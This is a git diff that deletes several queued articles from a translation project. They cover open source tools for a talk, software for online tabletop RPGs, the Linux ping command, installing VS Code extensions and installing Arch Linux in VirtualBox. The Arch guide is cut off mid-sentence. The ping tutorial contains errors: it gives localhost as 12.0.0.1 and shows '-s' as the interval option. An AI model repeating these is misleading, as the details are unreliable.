browser extension that automatically learns to block invisible trackers. Instead of keeping lists of what to block, Privacy Badger automatically discovers trackers based on their behavior. - -In addition to privacy, my presentation shared the importance of secure passwords. My audience learned about [Bitwarden][6]. Many folks had no idea how to generate secure passwords, differentiate from one website to another, and store them securely. I demonstrated how the software worked to create passwords and use Bitwarden to store those passwords in the cloud. I explained how users could access those credentials as browser plugins, desktop and laptop applications, and on Android or iOS mobile devices.  - -### Open source messaging - -I spoke of the ubiquity of text messaging but also its inherent insecurity. The audience was not aware of [Signal][7]. I have been using Signal for a couple of years and regularly encourage others to consider it as a secure messaging platform. It is easy to [install Signal][8] on Linux, macOS, Windows, [Android][9], and [iOS][10], and it offers excellent support [documentation][11] with detailed installation instructions for each operating system. Signal uses your existing mobile number, provided it can send and receive SMS and phone calls. The first time you set up Signal on your mobile phone, the application can search your address books for any of your contacts using Signal.  - -### Open source office tools - -No presentation on open source tools is complete without mentioning my favorite content creation tool, which is [LibreOffice][12]. Despite its popularity, many are unaware that it exists and the freedom that comes with its use. I use it every day to write articles. I use it instead of Excel, and sometimes I used it for presentations. You can download it and install it for Linux, macOS, and Windows. One of the beauties of LibreOffice is that you really own your documents. You don't need an expensive program to access them. - -### Open source blog builder - -[WordPress][13] is my favorite blogging engine, and there are myriad ways you can use it, whether sharing your own opinions on world events, a low-cost writing platform for your [students][14], or a web presence for your [business][15]. - -### Open source media repository - -While creating content, you will need images that you can easily and legally share to illustrate your work. [OpenClipart][16] is my go-to. There are thousands of images available in various popular formats for inclusion in your LibreOffice documents and blog posts. In addition, you can find images that you can share with the proper attribution by visiting [Creative Commons][17]. Creative Commons offers licensing that makes sharing easier. Creative Commons is an extension of copyright that makes sharing easier. Be sure to familiarize yourself with the nuances of the licenses.  - -### Open source video conferencing - -The pandemic has changed the paradigm for conferences and meetups. Jitsi, Big Blue Button, and several others have revolutionized how we interact and learn as reported [here][18] by Chris Hermansen.  - -### Open source educational resources - -Open educational resources have liberated learning. With [OER Commons][19], you can find content to meet your needs, from pre-kindergarten to graduate and professional degrees, and it is openly licensed so that you can use it and share it with others. Massachusetts Institute of Technology (MIT) Open Courseware is nearly all of MIT's undergraduate and graduate content offered under a Creative Commons [non-commercial share-alike][20] license. [OpenStax][21], an open textbook initiative at Rice University, offers peer-reviewed textbooks that are openly licensed and available for free.  - -### Open source podcast tools - -Podcasts have become a great way to catch up on the latest [open source news][22] for me. Have you thought of starting your own podcast? There are a couple of great open source tools that I am familiar with that provide ways to make that a reality. [Audacity][23] is my favorite recording application. I have used it to flip my classroom instruction, record interviews, and experiment with sound effects. It is a 16-track audio editor that you can use in a variety of ways. If you have something to say or a skill to teach, you should use [Open Broadcaster Software][24]. - -### Linux - -Finally, introduce your friends to Linux, which many of them still don't know about, and let them experience all the readily available free software.  - -In addition to the talk recorded and shared on [YouTube][25], I compiled a list of links to the resources and shared them on [GitHub][26]. - -There are lots of non-code ways to contribute to open source: Here are three alternatives. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/10/open-source-tools - -作者:[Don Watkins][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/don-watkins -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/tools_hardware_purple.png?itok=3NdVoYhl (Tools illustration) -[2]: https://www.sbu.edu/academics/schools-at-sbu/school-of-business/foster-center-for-responsible-leadership/foster-center-events -[3]: https://opensource.com/article/21/9/switch-to-firefox -[4]: https://github.com/gorhill/uBlock -[5]: https://privacybadger.org/ -[6]: https://github.com/bitwarden -[7]: https://opensource.com/article/19/10/secure-private-messaging -[8]: https://signal.org/download/ -[9]: https://play.google.com/store/apps/details?id=org.thoughtcrime.securesms&referrer=utm_source%3DOWS%26utm_medium%3DWeb%26utm_campaign%3DNav -[10]: https://apps.apple.com/us/app/signal-private-messenger/id874139669 -[11]: https://support.signal.org/ -[12]: https://opensource.com/article/21/9/libreoffice-tips -[13]: https://opensource.com/article/18/10/setting-wordpress-raspberry-pi -[14]: https://opensource.com/article/20/4/wordpress-virtual-machine -[15]: https://opensource.com/article/21/3/wordpress-plugins-retail -[16]: https://openclipart.org/ -[17]: https://search.creativecommons.org/ -[18]: https://opensource.com/article/20/5/open-source-video-conferencing -[19]: https://www.oercommons.org/ -[20]: https://ocw.mit.edu/help/faq-cite-ocw-content/ -[21]: https://openstax.org/ -[22]: https://opensource.com/article/19/10/linux-podcasts-Jupiter-Broadcasting -[23]: https://opensource.com/article/20/4/audacity -[24]: https://opensource.com/article/20/4/open-source-live-stream -[25]: https://youtu.be/aUgaYtN_sUU -[26]: https://github.com/donwatkins/Presentations/blob/master/fostercenter.md diff --git a/sources/tech/20211017 How I use open source to play RPGs.md b/sources/tech/20211017 How I use open source to play RPGs.md deleted file mode 100644 index 0c4ebf3b1e..0000000000 --- a/sources/tech/20211017 How I use open source to play RPGs.md +++ /dev/null @@ -1,111 +0,0 @@ -[#]: subject: "How I use open source to play RPGs" -[#]: via: "https://opensource.com/article/21/10/open-source-rpgs" -[#]: author: "Seth Kenlon https://opensource.com/users/seth" -[#]: collector: "lujun9972" -[#]: translator: "perfiffer" -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -How I use open source to play RPGs -====== -Find an open source tool for almost every element of role-playing games. -![Dice as a random number generator][1] - -I play a lot of tabletop role-playing games (RPGs), in terms of both frequency and variety. Generally, I prefer playing RPGs in person with friends, but over the past two years, I've been playing online. - -At first, I wasn't sure how to run a long-term game online. I knew there were a lot of tools out there to make it possible, but none of them interested me until I discovered the world of open source online tabletop gaming. With a small collection of open source applications, I've been able to run all my games exclusively on open source. - -It's a good time of year for it, too, because it was recently [Free RPG Day][2]. On FreeRPG Day, publishers across the tabletop role-playing game industry release, free of charge, games to encourage players to try new games and new adventures. Although it was canceled in 2020, it's back this year as a live event with some virtual support by way of free RPG sampler downloads from [Dungeon Crawl Classics][3] and [Paizo][4]. - -And if the event's virtual offerings aren't enough, I've compiled a list of [5 open source tabletop RPGs you may not have tried yet][5]. - -When you're ready to start playing, try some of these open source tools and see how much they can enhance your gameplay. - -### Chat - -The most basic—and technically speaking, the only—requirement for an RPG game online is communication. It's the medium of the game: players need a way to talk. - -There are a few good options for this. I find that [Mumble][6] is the tool with the lowest demand on bandwidth. It's a voice-only chat application that can use the very efficient Opus codec to get everyone talking for hours at a time without interruption. - -![Mumble client][7] - -CC BY-SA Seth Kenlon - -There are public instances all around the world, so after downloading the Mumble client, you can join any of them that are open and use it to run a game online. There's a push-to-talk setting, so you can cut out background noise, which is a welcome feature when the rest of your household doesn't halt all of its activity just for your tabletop session. - -There's also a text chat client for asides. My gaming groups usually use the chat to post links relevant to the game, but you could also use it for off-topic chatter in an attempt to keep the spoken game on topic. - -If your players prefer facial cues or are just used to video chat web apps, then [Jitsi][8] is an excellent substitute for in-person gatherings around a table. Jitsi is mostly like every other video chat application you've ever used, except possibly even easier. You can set up a room, invite friends, keep out strangers, and play for hours. Muting and going off-camera are intuitive, the interface is attractive, and new features are being developed and introduced regularly. - -![Jitsi][9] - -CC BY-SA Seth Kenlon - -Both Mumble and Jitsi have clients for both desktop and mobiles, so anyone can play no matter what device they're on. - -### Character sheets - -I've already posted about my [digital character sheet][10] solutions, but any RPG player knows that there's more to managing a character than just stats. - -During a game online that spanned several sessions, I found there was a lot of downtime between games. It occurred to me that, while I found it unreasonable to demand that my players calculate encumbrance during a live pen-and-paper game, it's pretty easy to request them to track encumbrance when everything's digital. - -There are plenty of spreadsheets available online, but the open source option is [Ethercalc][11]. With instances all over the world, it's easy to find a free Ethercalc host. Alternately, you can use Podman or Docker to easily install and run your own instance. - -![Ethercalc spreadsheet of inventory][12] - -Seth Kenlon, CC-BY-SA 4.0 - -Ethercalc provides the essentials: a shared ledger so players can track the items their party is carrying (and who's holding one at any given time), the weight of each item, and the value. Items get entered as the party collects loot during the game, so they know when they're too burdened to pick up something new. - -Between sessions, the shared spreadsheet can be referenced and organized so that the PCs know what to sell or stuff into a bag of holding or what they can safely drop when better loot presents itself next session. - -### Maps - -Mythic Table is an open source shared mapping system for tabletop games. That means you can load an image to serve as the map of your game and move digital tokens on the map to represent where players' characters are located. - -Since [last I wrote about Mythic Table][13], it's run a successful Kickstarter campaign to ensure its continued development. It's also gained several new features, most notably a "fog of war" feature that allows the dungeon master to blank out the map and reveal only the parts that players have explored. - -![A dungeon map rendered by Mythic Table and user interface choices for chat, maps, and characters][14] - -Seth Kenlon, CC-BY-SA 4.0 - -I've been running two games on Mythic Table for the past few months, and it's been an excellent and straightforward map system. Conveniently, it also features a digital dice roller, so if your players lack dice or you prefer to roll dice in the open, you have a shared dice pool. - -You can try Mythic Table at [mythictable.com][15] or visit their code repository on [Github][16]. - -### Open gaming on open source - -The open source tools I use are universal, so they work with whatever game system you decide to play. Because they're all open source, they can be used online by all your players regardless of what OS they use, and they can all be self-hosted. - -If you're a programmer as well as a gamer, visit their Git repositories and see if there's anything you can contribute. If you're a gamer or a gamemaster, try the tools out the next time you sit down at a digital game table. You might be surprised at just how few online accounts you actually need to have to use some of the best applications available for gaming. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/10/open-source-rpgs - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/header_dice.png?itok=dOMrHopO (Dice as a random number generator) -[2]: https://www.freerpgday.com/ -[3]: https://goodman-games.com/blog/2021/10/06/pdf-previews-of-our-free-rpg-day-releases/ -[4]: https://paizo.com/community/blog/v5748dyo6shte -[5]: https://opensource.com/article/21/10/rpg-tabletop-games -[6]: http://mumble.info/ -[7]: https://opensource.com/sites/default/files/mumble-client.png (Mumble client) -[8]: https://jitsi.org/ -[9]: https://opensource.com/sites/default/files/jitsi-client.jpg (Jitsi) -[10]: https://opensource.com/article/21/10/3-ways-manage-your-character-sheets-open-source -[11]: http://ethercalc.net/ -[12]: https://opensource.com/sites/default/files/uploads/ethercalc.jpeg (Ethercalc) -[13]: https://opensource.com/article/20/11/open-source-battle-maps -[14]: https://opensource.com/sites/default/files/uploads/mythic.jpeg (Mythic Table) -[15]: http://mythictable.com/ -[16]: https://gitlab.com/mythicteam/mythictable diff --git a/sources/tech/20211020 Diagnose connectivity issues with the Linux ping command.md b/sources/tech/20211020 Diagnose connectivity issues with the Linux ping command.md deleted file mode 100644 index 2af97315bf..0000000000 --- a/sources/tech/20211020 Diagnose connectivity issues with the Linux ping command.md +++ /dev/null @@ -1,162 +0,0 @@ -[#]: subject: "Diagnose connectivity issues with the Linux ping command" -[#]: via: "https://opensource.com/article/21/10/linux-ping-command" -[#]: author: "Seth Kenlon https://opensource.com/users/seth" -[#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -Diagnose connectivity issues with the Linux ping command -====== -One of the most fundamental diagnostic tools for networked connectivity -is the ping command. -![World locations with red dots with a sun burst background][1] - -Networked computers are so common these days that most of us take it for granted that a computer on one side of a room can contact one on the other side of the room, much less the other side of the world. When it works as designed, networking is what makes the Internet, the cloud, file shares, media streaming, remote administration, printing, and much more possible. When something goes wrong, it can sometimes be challenging to diagnose. One of the most fundamental diagnostic tools for networked connectivity is the `ping` command. - -### The basic ping - -When you can't reach a computer on your local network, or a server on the Internet, you can ping it. A ping sends an Internet Control Message Protocol (ICMP) packet to a destination IP address. ICMP is, by design, a rudimentary format used mostly for diagnostics: It's essentially a call and response signal. - -But there's an order to troubleshooting, and it starts as close to home as possible. When in doubt, first ping your own computer to ensure you're running a networking stack. The computer you're operating is also called your _localhost_, and it has a special IP address assigned for speaking to itself: 12.0.0.1. - -The `ping`** **command understands the _localhost_ hostname, its IP address, and a shortcut of just `0`. - -You can control how many signals you send with the `-c` (as in _count_)** **option. - - -``` -$ ping 0 -c1 -PING 0 (127.0.0.1) 56(84) bytes of data. -64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.069 ms - -\--- 0 ping statistics --- -1 packets transmitted, 1 received, 0% packet loss, time 0ms -rtt min/avg/max/mdev = 0.069/0.069/0.069/0.000 ms -``` - -After you've established that your local networking stack is up and running, you can ping your router. The address of a router usually starts with 192,168, or 10. The exact IP address depends on your router's configuration. - -When you don't specify how many pings to send, you can stop `ping` from running with **Ctrl**+**C**. - - -``` -$ ping 192.168.0.1  -PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data. -From 192.168.0.100: icmp_seq=2 Redirect Host(New nexthop: 192.168.0.1) -From 192.168.0.100: icmp_seq=3 Redirect Host(New nexthop: 192.168.0.1) -From 192.168.0.100: icmp_seq=4 Redirect Host(New nexthop: 192.168.0.1) -From 192.168.0.100: icmp_seq=5 Redirect Host(New nexthop: 192.168.0.1) -^C -``` - -If you can reach your router, that means your wired or wireless connection is working.  - -What about other hosts on my network? You can ping all kinds of devices. Not all are guaranteed to respond (some devices drop ICMP packets), but many do. For instance, I can ping my printer: - - -``` -`$ ping 192.168.0.4 ` -``` - -### Pinging beyond your network - -Beyond establishing that your own network is working as expected, you can also ping out into the wider world beyond your router. Again, not all servers are permitted to receive, much less respond to, ICMP. However, there are some that do, and a vital server to the working of the Internet is a nameserver. - -Google's DNS server is relatively easy to remember, and it does respond to pings: - - -``` -$ ping -c 2 8.8.8.8 -PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. -64 bytes from 8.8.8.8: icmp_seq=1 ttl=116 time=53.3 ms -64 bytes from 8.8.8.8: icmp_seq=2 ttl=116 time=53.5 ms - -\--- 8.8.8.8 ping statistics --- -2 packets transmitted, 2 received, 0% packet loss, time 1000ms -rtt min/avg/max/mdev = 53.304/53.424/53.544/0.120 ms -``` - -When a site has apparently disappeared, you might be able to probe the worldwide DNS network to find out what its host server's address is, and then ping that server. This at least tells you whether the host is down or whether it's just a web server issue. - -For example, say you're trying unsuccessfully to reach example.com. First, find the IP address using the `host` command: - - -``` -$ host example.com -example.com has address 93.184.216.34 -example.com has IPv6 address 2606:2800:220:1:248:1893:25c8:1946 -example.com mail is handled by 0 -``` - -And then ping the website's host by IP: - - -``` -`$ ping 93.184.216.34 -c 1` -``` - -### Ping and IPv6 - -Ping works over IPv4 as well as IPv6. Using only one of them explicitly can be enforced by specifying `-4` or `-6`.  - -### Packet size - -You can change the size of the ICMP packets you're sending with the `-s` option. The default packet size is 56, which translates into 64 ICMP data bytes when combined with the 8-byte header. This command sends 43 bytes: - - -``` -`$ ping -s 35 -c 5 8.8.8.8` -``` - -You can print a timestamp before each ping report in your terminal with the `-D` option. This provides the UNIX epoch time, plus microseconds: - - -``` -$ ping -D 8.8.8.8  -PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. -[1634013430.297468] 64 bytes from 8.8.8.8: icmp_seq=1 ttl=116 time=53.3 ms -[1634013431.298738] 64 bytes from 8.8.8.8: icmp_seq=2 ttl=116 time=53.1 ms -``` - -### Ping time - -You can change the time interval between pings using the `-i` option. This changes the ping interval to two seconds: - - -``` -`$ ping -s 2 ` -``` - -You can also stop pinging after some value of time (in seconds) with the `-w` option: - - -``` -`$ ping -w 6` -``` - -### Variants - -There are many implementations of ping. The `iputils` package provides a `ping` command, [Busybox ][2]has a `ping` command, and there's one from BSD and others. There's even a GUI for `ping`: Gping is available for Linux, macOS, and Windows. You can find more information for `gping` on [Github][3].  - -### Learn to ping - -The `ping` command is simple, but it can be eyes and ears out on the vast expanse that is your network. Next time you have connectivity issues, let `ping` be the first tool you turn to. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/10/linux-ping-command - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/world_remote_teams.png?itok=Wk1yBFv6 (World locations with red dots with a sun burst background) -[2]: https://opensource.com/article/21/8/what-busybox -[3]: https://github.com/orf/gping diff --git a/sources/tech/20211022 How to Install Visual Studio Code Extensions.md b/sources/tech/20211022 How to Install Visual Studio Code Extensions.md deleted file mode 100644 index 331593b7bb..0000000000 --- a/sources/tech/20211022 How to Install Visual Studio Code Extensions.md +++ /dev/null @@ -1,142 +0,0 @@ -[#]: subject: "How to Install Visual Studio Code Extensions" -[#]: via: "https://itsfoss.com/install-vs-code-extensions/" -[#]: author: "Pratham Patel https://itsfoss.com/author/pratham/" -[#]: collector: "lujun9972" -[#]: translator: "CoWave-Fall" -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -How to Install Visual Studio Code Extensions -====== - -_**Brief: Learn how to search for extensions and install them in Visual Studio Code editor. Both GUI and command line methods have been discussed.**_ - -Microsoft’s [Visual Studio Code][1] is perhaps the most popular [open source code editor][2], after Vim (of course). - -Visual Studio Code provides an amazing “out of the box” experience by providing almost all of the IDE like features. But there are always things you wish Visual Studio Code could do. _“The grass is always greener on the other side.”_ - -The [Visual Studio Code Marketplace][3] is exactly where you will find the extensions for Visual Studio Code. Extensions that are published on the Visual Studio Code Marketplace are scanned for viruses before they are published. So these extensions can be [trusted][4]. - -### Installing extensions in Visual Studio Code - -You don’t need to go to the Marketplace website for installing extensions. You can install and manage extensions right from the editor itself. - -I hope you have [Visual Studio Code installed on Linux][5] or whichever operating system you are using. - -Open Visual Studio Code, and to the left most side, is the Activity Bar. The last button on the Activity Bar is the Extensions button. Clicking on that will expose you to the enormous wealth of the extensions available for installation on Visual Studio Code. - -![Accessing the Extensions tab in VS Code][6] - -_**You can also press the Shortcut Key combination `Ctrl + Shift + X` to launch the Extensions side pane.**_ - -If you do not have any extensions installed, you will see a list of the most popular extensions available on the Visual Studio Code Marketplace. There are extensions you wish Visual Studio Code already had. And then, some day you will discover an extension and wonder how you lived without it! - -#### Find an extension and install it from the editor (GUI method) - -Now is the time to try out that `vim` thing Linux people talk about *nudge nudge* ;) - -Just kidding. Let us install something more beginner friendly and something that a beginner can easily take advantage of, without much practice. - -Click on **Visual Studio IntelliCode** (#1) extension from the list presented of the most popular extensions. - -![How to install an extension like Visual Studio IntelliCode][7] - -Simply clicking on the **Install** button (#2) will install the **Visual Studio IntelliCode** extension. This extension gives you AI-predicted suggestions while you are writing code. - -Once installed, you will be able to take full advantage of this extension. Try typing a block of code in your preferred programming language and check if the suggested AI autocomplete is working out for you, and not causing any kind of slowdown in your workflow. - -![Managing an installed extension in Visual Studio Code][8] - -If you dislike any of the installed extension, you can simply click on the **Uninstall** button (#2) to completely remove the unwanted extension. - -If you have multiple extensions installed, and if you feel like one of the installed extensions is causing you problems – say like sudden crashes; You can simply disable one (or multiple) extension(s) simply by clicking on the **Disable** button (#1) and check if extension _x_ was acting up or was it extension _y_, or was it something different altogether. - -Considering that extension removal and re-installation takes a long time, disabling extensions can be handy when you have multiple extensions installed. - -#### Alternate method: Install extensions using the terminal - -Did you know you could install a Visual Studio Code extension from the terminal itself? Well, now you do! - -To install an extension from your terminal, you need to know the extension name and publisher name in the order of `publisher.extension`. For an example, if you want to install the same extension as you did before, Visual Studio IntelliCode, it’s publisher name and extension name is `VisualStudioExptTeam.vscodeintellicode`. - -To find out this unique identifier of any extension, firstly, [visit the Visual Studio Code Marketplace][9] in your browser of choice. - -![A screenshot of what Visual Studio Code Marketplace looks like][10] - -Then search for any extension, for this tutorial, I will focus on installing Visual Studio IntelliCode. And then open the page of the extension that you want to install. - -![Search for Visual Studio IntelliCode and open the extension webpage][11] - -Once you have the web page of your extension open, you will see a code block. In the screenshot of the extension web page below is the highlighted unique identifier of the extension. - -![Unique identifier of the extension Visual Studio Code][12] - -Once you have the unique code of the extension you desire to install – **VisualStudioExptTeam.vscodeintellicode** in this case, you can proceed by running the following command in your terminal. - -``` -code --install-extension VisualStudioExptTeam.vscodeintellicode -``` - -Like the GUI, the command line interface also allows you to install, disable, remove and manage extensions. - -There is a handy flag that will give you a list of all the extensions you have installed. You can do that by running the following command: - -``` -code --list-extensions -``` - -To disable a single extension, run this command: - -``` -code --disable-extension -``` - -If you want to disable all extensions, you can run the following command: - -``` -code --disable-extensions -``` - -The above command will disable **all** installed extensions. This will help you diagnose if extensions are causing problems or is it Visual Studio Code itself. - -Now, if you want to completely remove any extension, use this command: - -``` -code --uninstall-extension -``` - -### Conclusion - -I find it much easier to use the editor for installing VS Code extensions. It’s straight in the editor where I code after all. - -Once you are comfortable tinkering with Visual Studio Code, maybe checkout this article pointing out some [useful keyboard shortcuts for Visual Studio Code][13] that might help you get even more productive! - -Happy coding, fellow *nix user! :) - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/install-vs-code-extensions/ - -作者:[Pratham Patel][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/pratham/ -[b]: https://github.com/lujun9972 -[1]: https://code.visualstudio.com/ -[2]: https://itsfoss.com/best-modern-open-source-code-editors-for-linux/ -[3]: https://marketplace.visualstudio.com/VSCode -[4]: https://code.visualstudio.com/docs/editor/extension-marketplace#_can-i-trust-extensions-from-the-marketplace -[5]: https://itsfoss.com/install-visual-studio-code-ubuntu/ -[6]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/10/01-all-extensions-1.webp?resize=800%2C450&ssl=1 -[7]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/10/02-select-intellicode-1.webp?resize=800%2C450&ssl=1 -[8]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/10/03-intellicode-installation-done-1.webp?resize=800%2C450&ssl=1 -[9]: https://marketplace.visualstudio.com/ -[10]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/10/visual_studio_code_marketplace.webp?resize=800%2C450&ssl=1 -[11]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/10/visual_stuido_code_ext_search.webp?resize=800%2C450&ssl=1 -[12]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/10/vs_code_extension_identifier.webp?resize=800%2C450&ssl=1 -[13]: https://itsfoss.com/vs-code-shortcuts/ diff --git a/sources/tech/20211104 Beginner-s Guide to Installing Arch Linux on VirtualBox.md b/sources/tech/20211104 Beginner-s Guide to Installing Arch Linux on VirtualBox.md deleted file mode 100644 index 71900c1dea..0000000000 --- a/sources/tech/20211104 Beginner-s Guide to Installing Arch Linux on VirtualBox.md +++ /dev/null @@ -1,268 +0,0 @@ -[#]: subject: "Beginner’s Guide to Installing Arch Linux on VirtualBox" -[#]: via: "https://itsfoss.com/install-arch-linux-virtualbox/" -[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" -[#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -Beginner’s Guide to Installing Arch Linux on VirtualBox -====== - -[Arch Linux is hugely popular][1] in the desktop Linux world. One of the reasons for the popularity is that [installing Arch Linux][2] itself is a complicated task. - -I am not exaggerating. Installing [Ubuntu or Debian][3] is a lot easier task than Arch Linux because it doesn’t have an official GUI based installer. And this is where virtual machines come in. - -You can try installing Arch Linux in VirtualBox first and see if it’s something you would like to run on actual hardware. This way, you get to experience Arch Linux without disturbing your current operating system. - -In this article, I will be guiding you through the steps to install a functional Arch Linux virtual machine. - -### Installing Arch Linux on VirtualBox - -Undoubtedly, you need to first [install VirtualBox on Linux][4] or Windows. On Windows, simply go to the Oracle’s website and download VirtualBox. - -[Download VirtualBox][5] - -If you are using Windows 10 or newer version, please ensure that you have virtualization enabled on your system. - -Once done, you need to head to [Arch Linux’s official website][6] to download the ISO file. You should find options to [download using torrent][7] or download the file directly. - -![][8] - -Hold on to the ISO file when needed, you can delete it to [free space on your system][9] after successful installation. - -Now, let us begin installing Arch Linux on VirtualBox. - -#### Part 1. Creating the Virtual Machine - -**Step 1:** First, you need to set up a few things in VirtualBox. Launch VirtualBox and click on “**New**” to create a virtual machine. - -![][10] - -Note that you can continue creating the virtual machine using the guided mode, but you get more options at a single glance with the expert mode. - -![][11] - -Hence, I recommend using the expert mode to create the virtual machine. - -Fret not, the expert mode is as easy, with just a bit of extra available options and nothing else to worry about. - -**Step 2**: Enter the name of your virtual machine, it should auto-detect the “Type” and “Version” respectively when you type in “**Arch Linux**” in the name field. - -![][12] - -You should increase the memory size to use the virtual machine comfortably. If it is just for minor testing, you can go ahead with the default setting. - -In my case, I allocate ~**4 GB of RAM**. - -Also, make sure to **create a virtual hard disk** under the “Hard disk” option. It should be the selected option by default. - -Now, proceed to set the virtual hard disk size. - -**Step 3:** You can choose a preferred location path for the virtual hard disk and tweak the size as per your requirements. The installation should not be a problem with the minimum allocated size (8 GB), but to be on the safe side, you may want to allocate at least 10-15 GB. - -![][13] - -Next, you need to select the hard disk file type as “**VDI (VirtualBox Disk Image)**” and the storage as “**Dynamically allocated**,” as shown in the image above. - -VDI is the most common hard disk type for the virtual hard disk. - -And, when you select the “**Dynamically allocated**” option for the hard disk storage, it means that the storage space will be utilized as per usage. In other words, 15 GB of space won’t be locked from your disk as soon as the virtual machine is created. - -Now, all you have to do is hit “**Create**” to add the virtual machine. - -#### Part 2. Adding the ISO File to Start Installing Arch Linux - -![][14] - -Once the VM has been listed, you can look at its configuration and select the ISO as the disk drive under the **Storage** option. - -You can also separately head to the virtual machine settings to explore more and choose the ISO file. - -![][15] - -To do that, navigate your way to the “**Storage**” setting of the VM. - -![][16] - -Here, you will have to click on the “**Empty**” device under Controller and then proceed to select the Arch Linux ISO file as the disk file (as shown in the image above). - -![][17] - -Once you select it, hit “**OK**” to save the changes to your setting. - -Here’s how the virtual machine setting should look like with the ISO set as the disk to boot: - -![][18] - -Now, hit “**Start**” to start the VM and get started with the installation. - -#### Part 3. Installing Arch Linux using the Guided Installer - -Arch Linux has made the installation easier by [introducing a guided installer][19], i.e., it gives you all the options you need to set up a full-fledged Arch Linux system. - -So, with the help of a guided installer, you do not have to install a desktop environment and other essential packages yourself separately. All you have to do is follow the onscreen instructions and choose the options suitable for your installation. - -In this article, we focus on the guided installer. If you want to do things yourself, you should follow our [Arch installation guide][2]. - -Moving on to the installation, when you start the VM, you will be looking at this screen: - -![][20] - -The first option is the ideal way of proceeding. If you have a specific requirement, you can choose other options to boot up Arch Linux. - -Now, you should be looking at a terminal window. Here’s how to get started: - -**Step 1**: Type in “**archinstall**” to initiate installation using the guided installer. - -![][21] - -**Step 2:** Choose a keyboard layout as per your requirements, selecting a US layout should be the most common choice. Just type in a number to make the selection, as shown in the image below (for instance, 26). - -![][22] - -**Step 3:** Next, you need to select a region to download packages. - -![][23] - -Choosing a preferred region instead of “Worldwide” is crucial because it downloads many unnecessary packages if you select “**Worldwide**” as your region. - -**Step 4:** Once you select the region, it will ask you to choose the drive for installation. In this case, we already created a virtual drive of ~15 GB displayed as **/dev/sda**. - -Similarly, check for the drive you created as per the size and choose that disk to proceed. Here, I type in **1** as the input; yours can differ. - -![][24] - -**Step 5:** For the next set of steps, you will be asked the following: - - * **Select a filesystem type** - * **Encryption password** (optional) - * **Hostname** - * **Create root password** (optional) - * **Creating a super-user** - * **Choose a pre-programmed profile** - - - -![][25] - -In my test, I chose BTRFS as the filesystem without setting any disk encryption password. - -The hostname can be anything of your choice, but I’d suggest keeping it short. - -You may choose to create a root password, but it shouldn’t be an issue if you do not. However, you need to create a superuser with Sudo privileges. - -I used “**admin**” and “**pass**” as the user and the password, respectively. But, you should not use easy-to-guess credentials if you do not want anyone else to access the VM on your computer. - -And, then, you will be shown a choice to select a profile. In this case, we want a full-fledged Arch Linux desktop. So, we choose “**desktop**” by typing in **0**. - -**Step 6:** Next, you will be asked to choose a desktop environment. I decided to proceed with KDE. You can select anything else you like. - -![][26] - -**Step 7**: To finalize, you will be asked to choose the graphics card driver. Here, we install Arch Linux on VirtualBox, so you can select option 4 as “**VMware/VirtualBox**,” as shown in the image below. - -![][27] - -You may also be asked to choose pipewire instead of PulseAudio for audio with a “Yes (y) or No (no)” response. Any of those should serve the purpose. - -****Step 8:**** Next comes an important step. Here, you can choose to go with **linux-lts** if you need the LTS version of the kernel, or else proceed with the default. - -![][28] - -The installer will prompt you to explicitly install any packages required. In this case, we do not have any specific requirements, so we will leave it blank and press enter to skip. - -**Step 9:** To enable internet access, you will be asked to select the required network adapter. You will have to choose the option: - -**Use network manager to control and manage your internet connection** - -![][29] - -**Step 10:** The timezone needs to be defined in the next step. Choose what applies to you, or continue with the default option. - -**Step 11:** Once done, it will display most of the options you selected as confirmation. Press **Enter** to continue. - -![][30] - -**Step 12:** It will take a few minutes for the installation to complete, depending on your internet connection speed. - -After the installation is complete, it will ask you to **chroot into a newly created installation for post-installation configuration**, but we don’t need that. So, type in “**N**” to complete the installation. - -**Step 13:** Finally, you should see the terminal window again. Type in: - -``` -shutdown now -``` - -This will safely exit the installation and close the virtual machine. - -It’s all set! Before starting the virtual machine with Arch installed, you need to do one more thing – **remove the ISO disk selected as the optical drive**. Similar to how you added the ISO to boot from, you can head to the virtual machine settings and remove it as shown below: - -![][31] - -That’s it! You are done installing Arch Linux on 